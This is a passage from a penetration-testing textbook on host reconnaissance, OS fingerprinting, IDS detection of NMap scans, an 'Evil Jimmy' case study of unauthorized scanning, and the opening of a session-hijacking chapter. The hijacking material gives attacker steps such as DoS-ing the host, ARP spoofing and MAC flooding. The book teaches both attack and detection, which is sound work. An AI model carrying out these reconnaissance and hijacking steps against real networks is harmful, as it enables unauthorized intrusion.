delay—Sometimes called temporal response analysis, this is a more \ncomplicated technique because it requires the addition of a firewall device. A firewall \nis configured to deny incoming TCP packets with the SYN and ACK flags set. You \nsend a SYN, but when the target responds with SYN/ACK, it is blocked. You then \nlisten to the delay between transmissions (retransmission time-out) and compare the \nresults with a signature database. A patch to NMAP called NMap-ringv2 uses this \ntechnique. Ringv2 has a similar technique that measures the RTO of FIN packets.\n•\nIP ID sampling—Every system uses an ID field in the IP header when data needs to \nbe fragmented across multiple packets. Most increment a value by one, but some do \nnot, giving you the opportunity to detect those operating systems that are an exception \nto the rule. OpenBSD, for example, uses a random IP. Microsoft has its own style; it \nincrements by 256 each time.\n•\nMSS response—You can examine the maximum segment size (MSS) response to \ndetermine whether your target is running the Linux operating system. If you send a \npacket with a small MSS value to a Linux box, it echoes that MSS value back to you \nin its response. Other operating systems give you different values.\nYou can use several different tools for OS fingerprinting. You have already learned about \nNMap and the patch to NMap, Ringv2. Other tools include the following:\n•\nXprobe2\n•\nEttercap\n•\np0f v2\n•\nQueso \n•\nSS\n•\nCheckOS\nNOTE\nXprobe2 is a unique tool in that it uses fuzzy matching. It still maintains a fingerprint \ndatabase of well-known signatures, but it also includes a probabilistic score to guess the \noperating system. \nFootprinting\nThe methods described in this chapter are called footprinting a target network. Be careful \nnot to get this confused with fingerprinting. Fingerprinting is the process of determining \n" }, { "page_number": 135, "text": "108\nChapter 5: Performing Host Reconnaissance\nthe operating system on a device, whereas footprinting is the combination of active and \npassive reconnaissance techniques for the purposes of establishing a strategy of attack. \nAfter you finish footprinting (gathering all the information that is relevant to your target), \nyou can draw out a network map. The network map should contain the following:\n•\nHost names\n•\nIP addresses\n•\nListening port numbers\n•\nOperating systems\nFigure 5-21 shows an example of a network map.\nFigure 5-21 Sample Network Map\nAssume that you have detected three servers and a firewall. The servers are running \nMicrosoft Windows, either 2000 or 2003 edition. You have discovered that the servers are \nrunning IIS and have a SQL database. Although you do not know for certain what type of \ndatabase application is running, the probability of it running Microsoft SQL server is high \nbecause that is the most preferred database system on Windows.\nArmed with this valuable information, you can begin to strategize as to what type of attacks \nto launch against the target network. The attacks will center on the vulnerabilities found in \nthe Windows operating systems and applications. You can also try generic firewall attacks. \nThese types of attacks are covered in subsequent chapters.\nAll the techniques mentioned so far, although not necessarily intrusive to a company \nnetwork, can lead to dangerous consequences. Therefore, a company should make every \neffort to mitigate the risks associated with reconnaissance attacks. \nUntrusted\nNetwork\nGatekeeper Firewall\n10.0.0.1/8\nCisco PIX 6.0\nUnfiltered Ports:\n20, 21, 80, 443\nWebServer\n10.0.0.19/8\nLinux 2.4.2 Kernel\n(Red Hat)\nOpen Ports:\n20, 21, 25, 80, 443\nDatabase Server\n10.0.0.5/8\nWindows 2003 Server\nOpen Ports:\n20, 21, 25, 80, 135,\n139, 443, 445, 1433\n" }, { "page_number": 136, "text": "Detecting a Scan\n109\nDetecting a Scan\nHost and network scanning cannot go unnoticed because they are usually just a symptom \nof other possible exploits and attacks to come. This section covers the use of a Cisco \nIntrusion Detection System IDS-4215 sensor to monitor and detect a network that has been \nscanned with NMap. As explained earlier, NMap is a tool of choice for penetration testers \nwhen it comes to port scanning. This is primarily because of its extreme flexibility and \nversatility of the types of scans it can perform. \nBuilding up a defense barricade to protect against NMap scans involves several \ncomponents. Before this chapter delves into scan detection, you need to examine these \nnecessary security components, as discussed in the sections that follow.\nIntrusion Detection\nIDSs are similar to home security systems (burglar alarms) that monitor entry or breach into \nyour home or office. Like the home security systems, IDSs log an alarm entry into the \nnetwork. Unlike most home systems, however, you can configure an IDS to actually fight \nback with TCP RSTs and SHUN commands in the efforts to stop further entry or damage \nto the network. Location it critical with these systems, just like a standard security camera \nis to a security guard. That is why most IDSs are located where they can see as much traffic \nas possible.\nAnomaly Detection Systems\nAnomaly detection systems (also called profile-based detection systems) are designed to \nwatch user or network profiles. For example, an anomaly detection system alarms if it \nnotices a network that normally is at 30 percent utilization peak up to 90 percent for a long \nperiod.\nMisuse Detection System\nMisuse detection uses pattern matching. These systems contain a database of hundreds of \npatterns and signatures that are used to match with traffic on a network cable. You can \ncompare misuse detection to standard disk antivirus software, where the antivirus software \nscans your hard drive looking for patterns in programs and files that represent malicious \nalterations. Misuse detection reads frames and packets off a cable instead of a hard drive. \nThese are the most commonly used detection systems today. However, they can quickly \nbecome out of date as new attacks emerge that are not within the signature database. \n" }, { "page_number": 137, "text": "110\nChapter 5: Performing Host Reconnaissance\nHost-Based IDSs \nHost-based IDSs are installed locally on a host computer and are used to check that local \nsystem only for items such as system calls, audit logs, error messages, and network traffic. \nThe benefit of host-based IDS systems is the protection and warning they can provide to a \nspecific system. However, they are not designed to protect the entire campus network; only \nthe specific host is protected. Figure 5-22 illustrates how to deploy a host-based IDS.\nFigure 5-22 Host-Based IDS Deployment\nNetwork-Based IDSs\nNetwork-based IDSs such as the Cisco 4200 series appliances are dedicated to one task—\nmonitoring the entire network. They are located at check points or special ports where they \ncan monitor network traffic that is directed to any host. Figure 5-23 illustrates how to \ndeploy a network-based IDS.\nUntrusted\nNetwork\nHost Agent\nHost Agent\nWWW Server\nFirewall\nIDS MC\nHost Agent\nCorporate\nNetwork\nHost Agent\n" }, { "page_number": 138, "text": "Detecting a Scan\n111\nFigure 5-23 Network-Based IDS Deployment\nNetwork Switches\nSwitches appeared shortly after the network hubs came into the scene. They provide the \nsame star topology as hubs; however, they do not interconnect all computers to the same \nbus. When computers communicate, switches are designed to monitor the Layer 2 frames \nand develop a MAC address table. This increases switch performance by creating an \ninternal map of computers to specific interface ports. Now when computers need to \ncommunicate across the switch, their frames are forwarded only to the specific interface \nthat contains the destination host, as Figure 5-24 illustrates.\nUntrusted\nNetwork\nSensor\nWWW Server\nFirewall\nIDS MC\nCorporate\nNetwork\nSensor\nSensor\n" }, { "page_number": 139, "text": "112\nChapter 5: Performing Host Reconnaissance\nFigure 5-24 Switched Network\nBecause of this basic design where traffic is forwarded only where it is needed, lower-cost \nswitches are difficult to effectively locate an IDS on. Higher-cost programmable switches \ntypically support what is known as switched port analyzer (SPAN) ports or port monitoring. \n(These terms are used interchangeably.) SPAN functionality allows the network \nadministrator to select the specific ports to which they want to forward copies of all traffic. \nThese ports in turn are where the IDS is connected \nAs Figure 5-25 illustrates, the switch on the right is configured for SPAN. Traffic going into \nports 0/1 through 0/4 is copied to the destination port of 0/5. Port 0/5 is subsequently \nconnected to the monitoring interface (port 0) on the IDS sensor. \nFigure 5-25 SPAN Port in Use\nExamples of Scan Detection\nThe sections that follow take you through some specific examples of detecting port scans \nthat are executed with NMap. The examples use a basic install of the Cisco 4215 IDS \n0/1\n0/2\n0/3\n0/4\n0/5\nIDS Sensor\nSwitch\nSource\nPorts\nMonitoring\nInterface\nCommand and\nControl Interface\nDestination Port\n(SPAN)\n0\n1\n" }, { "page_number": 140, "text": "Detecting a Scan\n113\nSensor attached to the network with IDS Event Viewer (IEV) software to monitor sensor \nalarms in real-time.\nDetecting a TCP Connect() Scan\nNMap TCP Connect() scan, as mentioned earlier, is a reliable port scanning technique that \ndetermines the status of open or closed ports. IDS sensors, however, are keen on detecting \nnormal TCP connections that do not actually send data and sound off an alarm. Example 5-4 \nshows the syntax used and the output returned in scanning a Windows 2003 Server.\nNow that you have scanned successfully, look at the Cisco IEV real-time output in Figure \n5-26. As you can see, the sensor accurately detected the scan.\nExample 5-4\nUsing NMap TCP Connect Scan on a Windows 2003 Server\nC:\\>NMap -sT -vv -P0 192.168.200.100 \nStarting NMap 3.81 ( http://www.insecure.org/NMap ) at 2005-03-21 19:19 GMT \n Standard Time\nInitiating Connect() Scan against WEB1 (192.168.200.100) [1663 ports] at 19:19\nDiscovered open port 53/tcp on 192.168.200.100\nDiscovered open port 23/tcp on 192.168.200.100\nDiscovered open port 1433/tcp on 192.168.200.100\nDiscovered open port 1026/tcp on 192.168.200.100\nDiscovered open port 1031/tcp on 192.168.200.100\nDiscovered open port 1025/tcp on 192.168.200.100\nDiscovered open port 139/tcp on 192.168.200.100\nDiscovered open port 1434/tcp on 192.168.200.100\nDiscovered open port 445/tcp on 192.168.200.100\nDiscovered open port 135/tcp on 192.168.200.100\nDiscovered open port 1029/tcp on 192.168.200.100\nThe Connect() Scan took 52.38s to scan 1663 total ports.\nHost WEB1 (192.168.200.100) appears to be up ... good.\nInteresting ports on WEB1 (192.168.200.100):\n(The 1652 ports scanned but not shown below are in state: filtered)\nPORT STATE SERVICE\n23/tcp open telnet\n53/tcp open domain\n135/tcp open msrpc\n139/tcp open netbios-ssn\n445/tcp open microsoft-ds\n1025/tcp open NFS-or-IIS\n1026/tcp open LSA-or-nterm\n1029/tcp open ms-lsa\n1031/tcp open iad2\n1433/tcp open ms-sql-s\n1434/tcp open ms-sql-m\n" }, { "page_number": 141, "text": "114\nChapter 5: Performing Host Reconnaissance\nFigure 5-26 TCP Connect() Scan Detected\nDetecting a SYN Scan\nSYN scans are a little more difficult to detect because they are just trying to leave a \nconnection open and relying on the timeout to clear the connections. Example 5-5 displays \nthe syntax used and output generated when scanning the same Windows 2003 Server.\nExample 5-5\nSYN Scan on a Windows 2003 Server \nC:\\>NMap -sS -vv -P0 192.168.200.100\nStarting NMap 3.81 ( http://www.insecure.org/NMap ) at 2005-03-21 19:22 GMT \n Standard Time\nInitiating SYN Stealth Scan against WEB1 (192.168.200.100) [1663 ports] at 19:22\nDiscovered open port 23/tcp on 192.168.200.100\nDiscovered open port 53/tcp on 192.168.200.100\nDiscovered open port 445/tcp on 192.168.200.100\nDiscovered open port 1031/tcp on 192.168.200.100\nDiscovered open port 1025/tcp on 192.168.200.100\nDiscovered open port 1433/tcp on 192.168.200.100\nDiscovered open port 139/tcp on 192.168.200.100\nDiscovered open port 1026/tcp on 192.168.200.100\nDiscovered open port 135/tcp on 192.168.200.100\nDiscovered open port 1434/tcp on 192.168.200.100\nDiscovered open port 1029/tcp on 192.168.200.100\nThe SYN Stealth Scan took 0.11s to scan 1663 total ports.\nHost WEB1 (192.168.200.100) appears to be up ... good.\nInteresting ports on WEB1 (192.168.200.100):\n(The 1652 ports scanned but not shown below are in state: closed)\nPORT STATE SERVICE\n23/tcp open telnet\n53/tcp open domain\n135/tcp open msrpc\n139/tcp open netbios-ssn\n445/tcp open microsoft-ds\n1025/tcp open NFS-or-IIS\n1026/tcp open LSA-or-nterm\n1029/tcp open ms-lsa\n" }, { "page_number": 142, "text": "Detecting a Scan\n115\nAs stated earlier, SYN scans leave the connection open. This is an expected anomaly that \ntakes place between two computers if one goes down or just never returns the last ACK. \nSYN scans are harder for sensors to typically detect because of their natural occurrence “in \nthe wild”; however, should you flood the network with them, it will trigger an alarm, as seen \nin Figure 5-27. Notice that the alarm signature is the same as an –sT connection scan. \nHowever, only 1 alarm was detected as opposed to 6 to 8 alarms triggered in a normal –sT\nscan. This proves that –sS scans are less detected.\nFigure 5-27 SYN Scan Detected\nDetecting FIN, NULL, and Xmas-Tree Scans\nNow that you have seen two basic scans in action—TCP Connect() and SYN scans—this \nsection investigates the three inverse scans. These scans usually result in poor port scanning \nreliability against Windows computers because they always return an RST state in \nresponse. This shows all ports closed, even if they are really open. Example 5-6 shows the \nscan syntax and output against the Windows 2003 Server. As you can see, all ports scanned \nare returning closed.\n1031/tcp open iad2\n1433/tcp open ms-sql-s\n1434/tcp open ms-sql-m\nMAC Address: 00:50:56:EE:EE:EE \nNMap finished: 1 IP address (1 host up) scanned in 0.344 seconds\n Raw packets sent: 1663 (66.5KB) | Rcvd: 1663 (76.5KB)\nExample 5-6\nConducting FIN, NULL, and Xmas-Tree Scans \nC:\\>NMap -sF -vv -P0 192.168.200.100\nStarting NMap 3.81 ( http://www.insecure.org/NMap ) at 2005-03-21 19:26 GMT \n Standard Time\nInitiating FIN Scan against WEB1 (192.168.200.100) [1663 ports] at 19:26\nExample 5-5\nSYN Scan on a Windows 2003 Server (Continued)\ncontinues\n" }, { "page_number": 143, "text": "116\nChapter 5: Performing Host Reconnaissance\nHowever, the sensor detects inverse scans quite well and even displays the actual scan being \nexecuted. Figure 5-28 shows the real-time alarms detecting FIN scans, NULL packets, and \nan OOB error that is generated as a side effect of the Xmas-Tree scan. \nFigure 5-28 Inverse Scans Detected\nThe FIN Scan took 0.09s to scan 1663 total ports.\nHost WEB1 (192.168.200.100) appears to be up ... good.\nAll 1663 scanned ports on WEB1 (192.168.200.100) are: closed\nMAC Address: 00:50:56:EE:EE:EE \nNMap finished: 1 IP address (1 host up) scanned in 0.312 seconds\n Raw packets sent: 1663 (66.5KB) | Rcvd: 1663 (76.5KB)\nC:\\>NMap -sN -vv -P0 192.168.200.100\nStarting NMap 3.81 ( http://www.insecure.org/NMap ) at 2005-03-21 19:24 GMT Stan\ndard Time\nInitiating NULL Scan against WEB1 (192.168.200.100) [1663 ports] at 19:24\nThe NULL Scan took 0.08s to scan 1663 total ports.\nHost WEB1 (192.168.200.100) appears to be up ... good.\nAll 1663 scanned ports on WEB1 (192.168.200.100) are: closed\nMAC Address: 00:50:56:EE:EE:EE \nNMap finished: 1 IP address (1 host up) scanned in 0.312 seconds\n Raw packets sent: 1663 (66.5KB) | Rcvd: 1663 (76.5KB)\nC:\\>NMap -sX -vv -P0 192.168.200.100\nStarting NMap 3.81 ( http://www.insecure.org/NMap ) at 2005-03-21 19:27 GMT Stan\ndard Time\nInitiating XMAS Scan against WEB1 (192.168.200.100) [1663 ports] at 19:27\nThe XMAS Scan took 0.08s to scan 1663 total ports.\nHost WEB1 (192.168.200.100) appears to be up ... good.\nAll 1663 scanned ports on WEB1 (192.168.200.100) are: closed\nMAC Address: 00:50:56:EE:EE:EE \nNMap finished: 1 IP address (1 host up) scanned in 0.312 seconds\n Raw packets sent: 1663 (66.5KB) | Rcvd: 1663 (76.5KB)\nExample 5-6\nConducting FIN, NULL, and Xmas-Tree Scans (Continued)\n" }, { "page_number": 144, "text": "Detecting a Scan\n117\nDetecting OS Guessing\nThe last detection to perform is operating system detection. NMap uses the –O switch to \nsignal operating system detection against a target. Example 5-7 shows the scan syntax and \noutput used against the Windows 2003 Server. \nExample 5-7\nScanning to Determine the Target Operating System \nC:\\>NMap -O -vv -P0 192.168.200.100\nStarting NMap 3.81 ( http://www.insecure.org/NMap ) at 2005-03-21 19:28 GMT Stan\ndard Time\nInitiating SYN Stealth Scan against WEB1 (192.168.200.100) [1663 ports] at 19:28\nDiscovered open port 23/tcp on 192.168.200.100\nDiscovered open port 53/tcp on 192.168.200.100\nDiscovered open port 1434/tcp on 192.168.200.100\nDiscovered open port 139/tcp on 192.168.200.100\nDiscovered open port 1031/tcp on 192.168.200.100\nDiscovered open port 445/tcp on 192.168.200.100\nDiscovered open port 1029/tcp on 192.168.200.100\nDiscovered open port 1025/tcp on 192.168.200.100\nDiscovered open port 1026/tcp on 192.168.200.100\nDiscovered open port 1433/tcp on 192.168.200.100\nDiscovered open port 135/tcp on 192.168.200.100\nThe SYN Stealth Scan took 0.09s to scan 1663 total ports.\nFor OSScan assuming port 23 is open, 1 is closed, and neither are firewalled\nHost WEB1 (192.168.200.100) appears to be up ... good.\nInteresting ports on WEB1 (192.168.200.100):\n(The 1652 ports scanned but not shown below are in state: closed)\nPORT STATE SERVICE\n23/tcp open telnet\n53/tcp open domain\n135/tcp open msrpc\n139/tcp open netbios-ssn\n445/tcp open microsoft-ds\n1025/tcp open NFS-or-IIS\n1026/tcp open LSA-or-nterm\n1029/tcp open ms-lsa\n1031/tcp open iad2\n1433/tcp open ms-sql-s\n1434/tcp open ms-sql-m\nMAC Address: 00:50:56:EE:EE:EE\nDevice type: general purpose\nRunning: Microsoft Windows 2003/.NET|NT/2K/XP\nOS details: Microsoft Windows 2003 Server or XP SP2P\nOS Fingerprint:\nTSeq(Class=TR%IPID=I%TS=0)\nT1(Resp=Y%DF=Y%W=402E%ACK=S++%Flags=AS%Ops=MNWNNT)\nT2(Resp=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=)\nT3(Resp=Y%DF=Y%W=402E%ACK=S++%Flags=AS%Ops=MNWNNT)\nT4(Resp=Y%DF=N%W=0%ACK=O%Flags=R%Ops=)\nT5(Resp=Y%DF=N%W=0%ACK=S++%Flags=AR%Ops=)\nT6(Resp=Y%DF=N%W=0%ACK=O%Flags=R%Ops=)\ncontinues\n" }, { "page_number": 145, "text": "118\nChapter 5: Performing Host Reconnaissance\nThe interesting thing about this scan is that it did not succeed in guessing the exact \noperating system. However, it does narrow it down to just Windows 2003 Server or XP with \nSP2. By using a little deductive reasoning and looking at the ports that are open, such as \nTCP 23, which is used for a Telnet server, you would lean more toward the Windows 2003 \nserver rather than XP. Looking at the error generated in Figure 5-29, you can see Cisco IDS \ndetect the OS guessing with an error called NMap fingerprinting. Yes, this scan is easily \ndetectable. \nFigure 5-29 OS Guessing Detected\nCase Study\nThis case study chains together several of the items learned within the chapter to perform \na successful scan of a network. This case study trails Evil Jimmy the Hacker as he scans a \nsmall company called Little Company Network (LCN). He uses DNS to gather information \nbefore moving onto NMap for some scanning as he attempts to start his diagramming of the \nnetwork.\nT7(Resp=Y%DF=N%W=0%ACK=S++%Flags=AR%Ops=)\nPU(Resp=Y%DF=N%TOS=0%IPLEN=B0%RIPTL=148%RIPCK=E%UCK=E%ULEN=134%DAT=E)\nTCP Sequence Prediction: Class=truly random\n Difficulty=9999999 (Good luck!)\nTCP ISN Seq. Numbers: 69D80142 413B414C 4E54B424 74F4775C 1DE05ABB AC9A1054\nIPID Sequence Generation: Incremental\nNMap finished: 1 IP address (1 host up) scanned in 1.062 seconds\n Raw packets sent: 1676 (67.3KB) | Rcvd: 1677 (77.4KB)\nExample 5-7\nScanning to Determine the Target Operating System (Continued)\n" }, { "page_number": 146, "text": "Case Study\n119\nThe scene is set as LCN rejects Evil Jimmy for a position. He is skilled in penetration \ntesting, and because LCN obviously did not even read to the end of his rèsumè, Jimmy plans \nto make use of his skills in an unauthorized manner. Jimmy knows the DNS names of his \ntarget LCN.com, so he plugs his laptop into the wall and begins his attack. Knowing that \npreparation is vital to a successful outcome, Jimmy starts by making a plan and gathering \nhis tools. The following steps illustrate the execution.\nStep 1\nEvil Jimmy heads straight for the company website and uses the Wget \ntool to download the entire website. He can later browse this information \nat his leisure to look for e-mail addresses, address information, and any \nother details about the company that might later prove useful.\nStep 2\nEvil Jimmy uses SamSpade to discover the company address, contact, \nand registration information posted for the website at the time it was \ncreated. The following example displays these output details from \nSamSpade.\nRegistrant:\nLITTLE COMPANY NETWORK\n 100 NW JOHN OLSEN PLACE\n HILLSBORO, OR 97123\n US\n Domain Name: LCN.COM\n Administrative Contact, Technical Contact:\n Little Company Network jbates@LCN.COM\n 100 NW JOHN OLSEN PL\n HILLSBORO, OR 97123\n US\n 503-123-5555 fax: - 503-123-5555\n Record expires on 11-Apr-2005.\n Record created on 10-Apr-1997.\n Database last updated on 20-Mar-2005 17:16:56 EST.\n Domain servers in listed order:\n NS1.SECURESERVERS.NET\n NS2.SECURESERVERS.NET\nStep 3\nUsing his Visual Route tool, Jimmy gets a general idea of where the web \nserver is. As Figure 5-30 shows, the web server is in Seattle, Washington, \nso the address in Oregon is probably the office address with the web \nserver being hosted elsewhere in Washington..\n" }, { "page_number": 147, "text": "120\nChapter 5: Performing Host Reconnaissance\nFigure 5-30 Visual Route Results\nStep 4\nArmed with company address information, Evil Jimmy drives right over \nto the company office and plugs into the network to do a little scanning. \n(In the real world, this might or might not take place, but for the example, \nit works great.) \nNOTE\nWireless access is becoming increasingly viable as a way into a company network without \never needing to physically “touch” their network.\nStep 5\nNow that Jimmy has local network access, he can ping sweep the \nnetwork. Using Pinger, Jimmy discovers several computers across the \nnetwork. Figure 5-31 displays the computers on the network that respond \nto standard ICMP requests.\n" }, { "page_number": 148, "text": "Case Study\n121\nFigure 5-31 Pinger Results\nStep 6\nNext, Jimmy begins port scanning computers to help enumerate details \nof which programs are running on each computer. Also, Jimmy uses the \nNMap –O switch to detect which operation system is running. The \nfollowing example shows the output information:\nC:\\>NMap -sS -O 192.168.200.21,100\nInteresting ports on Desk1 (192.168.200.21):\n(The 1658 ports scanned but not shown below are in state: closed)\nPORT STATE SERVICE\n21/tcp open ftp\n25/tcp open smtp\n135/tcp open msrpc\n139/tcp open netbios-ssn\n5713/tcp open proshareaudio\nMAC Address: 08:00:46:F3:14:72 \nDevice type: general purpose\nRunning: Microsoft Windows NT/2K/XP\nOS details: Microsoft Windows XP SP2\n" }, { "page_number": 149, "text": "122\nChapter 5: Performing Host Reconnaissance\nNMap finished: 2 IP addresses (2 hosts up) scanned in 3.203 seconds\nStarting NMap 3.81 ( http://www.insecure.org/NMap ) at 2005-03-21 21:07 \nGMT \n Standard Time\nInteresting ports on WEB1 (192.168.200.100):\n(The 1652 ports scanned but not shown below are in state: closed)\nPORT STATE SERVICE\n23/tcp open telnet\n53/tcp open domain\n135/tcp open msrpc\n139/tcp open netbios-ssn\n445/tcp open microsoft-ds\n1025/tcp open NFS-or-IIS\n1026/tcp open LSA-or-nterm\n1029/tcp open ms-lsa\n1031/tcp open iad2\n1433/tcp open ms-sql-s\n1434/tcp open ms-sql-m\nMAC Address: 00:50:56:EE:EE:EE \nDevice type: general purpose\nRunning: Microsoft Windows 2003/.NET|NT/2K/XP\nOS details: Microsoft Windows 2003 Server or XP SP2\nStep 7\nJimmy is finished scanning and leaves the building just as the networking \nteam commences the search for the intruder. Fortunately for Jimmy, it \ntook several minutes for the team to detect the scan before they could \nstart searching for the guilty hacker.\nStep 8\nBack in the comfort of his home, Evil Jimmy starts to collate the \ninformation into an easy-to-read diagram that displays computer \naddresses, services open, and operating systems on each.\nAs you can see, collecting information about a company and its network is easy, fun, and \nrelatively quick. \nSummary\nReconnaissance can be split into two categories; passive, which can be likened to a burglar \nglancing at houses as he walks along the road; and active, where he walks right up and peers \nin your windows.\n" }, { "page_number": 150, "text": "Summary 123\nPassive reconnaissance can be time intensive and yield varying degrees of success. The \nmost obvious starting point is the website of your target. Two popular tools are available to \nhelp grab the whole site for offline browsing:\n•\nWget (command-line tool)\n•\nTeleport Pro (graphical tool)\nAnalyzing site content can reveal information such as the following:\n•\nHardware, operating system, and application information from commented code\n•\nContact information for use in social engineering attacks\nYou can also glean potentially useful information from public sources, including these:\n•\nEDGAR filings\n•\nUSENET newsgroups\n•\nUser group meetings\n•\nBusiness partners\nActive reconnaissance can be far more revealing, but the downside is that it is a riskier \nprocess and is more easily detected. \nThe first step in active reconnaissance is to identify hosts within the target network. You can \nuse the following tools to accomplish this:\n•\nNSLookup \n•\nWhois\n•\nSamSpade\n•\nVisual Route\nSimply performing an NSLookup to search for an IP address is passive, but the moment you \nbegin doing a zone transfer using some of these tools, you are beginning to do active \nreconnaissance. \nAfter the hosts have been identified, you can use port scanning to identify potential \nvulnerabilities. A range of different port scan techniques is available:\n•\nTCP Connect() scan\n•\nSYN scan\n•\nFIN scan\n•\nXmas-Tree scan\n•\nNULL scan\n•\nDumb scan\nIn addition, this chapter examined NMap, a popular and powerful tool that carries out port \nscanning. \n" }, { "page_number": 151, "text": "124\nChapter 5: Performing Host Reconnaissance\nThis chapter looked at fingerprinting—the process of examining the characteristics of the \nhost to identify its underlying operating system. Although this chapter discussed NMap, \nother fingerprinting tools are available:\n•\nXprobe2\n•\nEttercap\n•\np0f v2\n•\nQueso \n•\nSS\n•\nCheckOS\nAll these steps constitute the footprinting of a target network. After the footprint is \ncomplete, you should be able to create a network map containing information such as the \nfollowing:\n•\nHost names\n•\nIP addresses\n•\nListening port numbers\n•\nOperating systems\nReconnaissance against a target network, such as that described in this chapter, can be \ndetected using an IDS, which can take various forms:\n•\nAnomaly detection \n•\nMisuse detection\n•\nHost-based detection\n•\nNetwork-based detection\n" }, { "page_number": 152, "text": "TTThhhiiisss pppaaagggeee iiinnnttteeennntttiiiooonnnaaallllllyyy llleeefffttt bbblllaaannnkkk \n" }, { "page_number": 153, "text": "Will Turner: We’re going to steal a ship? That ship? \nJack Sparrow: Commandeer. We’re going to commandeer that ship. Nautical term.\n—Pirates of the Caribbean: The Curse of the Black Pearl (2003, Disney/Jerry \nBruckheimer Inc.)\n" }, { "page_number": 154, "text": "C H A P T E R 6\nUnderstanding and Attempting \nSession Hijacking\nIn most pirate movies, an unprepared ship is overtaken by a crew of pirates. This hijacking \nhappens as the ship is en route to its destination with its cargo as it has probably done many \ntimes before.\nSession hijacking is similar to pirates taking over a cargo ship. You hijack an existing \nsession of a host en route to your target. The target has no idea that the session has been \nhijacked and grants you permission as if you were an authorized host.\nIn Chapter 5, “Performing Host Reconnaissance,” you read about performing \nreconnaissance techniques to discover information about your target. Now that you have \ngathered information, you can attempt attacks to breach the security of the target. One of \nthe ways to do this is through session hijacking.\nThis chapter covers session hijacking techniques and tools in addition to methods that \ndetect and protect against these attacks.\nDefining Session Hijacking\nSession hijacking is the attempt to overtake an already active session between two hosts. \nThis is different from IP spoofing, in which you spoof an IP address or MAC address of \nanother host. With IP spoofing, you still need to authenticate to the target. With session \nhijacking, you take over an already-authenticated host as it communicates with the target. \nYou will probably spoof the IP address or MAC address of the host, but session hijacking \ninvolves more than just spoofing.\nSession hijacking is attractive to malicious hackers because the host that is being hijacked \nis already authenticated to the target. Therefore, the malicious hacker does not need to \nwaste time performing password cracking. It does not matter how secure the process of \nauthentication is because most systems send clear text communication after they are \nauthenticated. This makes most computers vulnerable to this type of attack.\nSession hijacking attacks are one of two types:\n•\nActive—You find an active session and take it over to compromise your target. This \nis the type of hijacking discussed in this chapter because it is more difficult than \npassive hijacking.\n" }, { "page_number": 155, "text": "128\nChapter 6: Understanding and Attempting Session Hijacking\n•\nPassive—This is when you hijack a session and record all traffic that is being sent \nbetween the target and the host. Active hijacking always begins with performing a \npassive hijacking attack.\nA distinction must also be made between session replay and session hijacking. Both are \nconsidered man-in-the-middle (MITM) attacks, but in session replay, you capture packets \nand modify the data before sending it to the target. In true session hijacking, you take over \nthe IP session by spoofing the source (or destination) and changing your TCP sequence \nnumbers to match that of the host and target. Often, you perform a denial-of-service (DoS) \nattack against the originating host to take it offline while you spoof its existence on the \nnetwork. Figures 6-1 and 6-2 illustrate the differences between session replay and session \nhijacking.\nFigure 6-1\nSession Replay\nFigure 6-2\nSession Hijacking\nYou can break down session hijacking further into two categories:\n•\nNonblind spoofing attacks\n•\nBlind spoofing attacks\nNonblind Spoofing\nNonblind spoofing is when you can see the traffic being sent between the host and the target. \nThis is the easiest type of session hijacking to perform, but it requires you to capture packets \nas they are passing between the two machines. In a switched network, this is difficult to do. \nBy default, you are unable to capture packets between two hosts on a switch without \nadditional configuration. \nVictim\n(Client)\nAttacker\nData\nModified Data\nTarget\n(Server)\nVictim\n(Client)\nAttacker\nData\nSpoofed Data\nTarget\n(Server)\nDoS\n" }, { "page_number": 156, "text": "Defining Session Hijacking 129\nNOTE\nIf you can compromise the switch, you might be able to capture packets between two hosts. \nWith Cisco devices, this feature is called Switched Port Analyzer (SPAN). It allows you to \nmonitor one or more ports or VLANs from a single switched port. \nIf you cannot access the switch to configure port monitoring, you have other options. On \nsome switches, you can use a Linux utility called MACOF, which floods a switch with \nMAC addresses in an attempt to fill up its MAC table to effectively convert the switch into \na hub and allow you to monitor all ports. Although this tool works against some vendor \nequipment, the authors of this book have been unsuccessful in using this tool against Cisco \nswitches.\nA second option to gain the ability to monitor traffic of a port is to craft bogus Address \nResolution Protocol (ARP) replies so that the switch thinks that the real end user has moved \nto your port. This forces the switch to send traffic destined for that user to your port instead.\nBlind Spoofing\nIn blind spoofing, you cannot see the traffic being sent between the host and the target. This \nis the most difficult type of session hijacking because of the near impossibility of correctly \nguessing TCP sequence numbers. (The section “TCP Sequence Prediction (Blind \nHijacking)” covers TCP sequence prediction in greater detail.) \nYou should keep a few things in mind when performing session hijacking attacks:\n•\nAttempt to hijack session-oriented protocols only.\n•\nPerform the attack during times of heavy network activity.\n•\nBe on the same LAN as the host and target.\nSession hijacking only works against session-oriented TCP protocols. Although UDP-\nbased tools exist, most attacks are executed against TCP sessions. Session-oriented TCP \ncommunication includes FTP, rlogin, tn3270, and Telnet. Session hijacking does not work \nagainst non-session-oriented protocols such as DNS. \nPerform your attack when lots of sessions are taking place between hosts and your target. \nThis makes your attack less conspicuous. If you perform the attack at night or during the \nlunch hour when fewer sessions are active, your activities will be spotted more easily. \nFinally, be on the same LAN as both the host and the target. Although it is possible with \nsome tools to be on different networks, this makes the hijacking attempt much more \ndifficult because it requires you to spoof the MAC address of routers and the host or target. \nYour chances of success improve greatly if you are on the same network as your host and \ntarget.\n" }, { "page_number": 157, "text": "130\nChapter 6: Understanding and Attempting Session Hijacking\nFollowing are the steps to perform session hijacking:\nStep 1\nFind your target.\nStep 2\nFind an active session and track it.\nStep 3\nGuess the sequence numbers (blind hijacking).\nStep 4\nDecommission the host (DoS).\nStep 5\nHijack the session.\nStep 6\nOptionally, resume the old session when you are finished with the hijack.\nTCP Sequence Prediction (Blind Hijacking)\nWhen you are blind session hijacking, you need to make an educated guess on the sequence \nnumbers between the host and target. In TCP-based applications, sequence numbers inform \nthe receiving machine what order to put the packets in if they are received out of order. \nSequence numbers are a 32-bit field in the TCP header; therefore, they range from 1 to \n4,294,967,295. Every byte is sequenced, but only the sequence number of the first byte in \nthe segment is put in the TCP header. To effectively hijack a TCP session, you must \naccurately predict the sequence numbers being used between the target and host. \nAlso included in a TCP header is a window size. The window size is a two-byte field giving \nyou values between 1 and 65,535. Window size indicates how many bytes of data the host \ncan send before the receiver can expect an acknowledgement. Figure 6-3 illustrates the use \nof window size. In this simplified diagram, the host sends a packet with a window size of 5 \nbytes. After the host sends the 5 bytes of data, the receiver of the data expects an \nacknowledgement. If the receiver does not receive an acknowledgement, the sender knows \nthat data was lost and he should resend it.\nFigure 6-3\nTCP Window Size Operation\nYou have some leniency when it comes to guessing 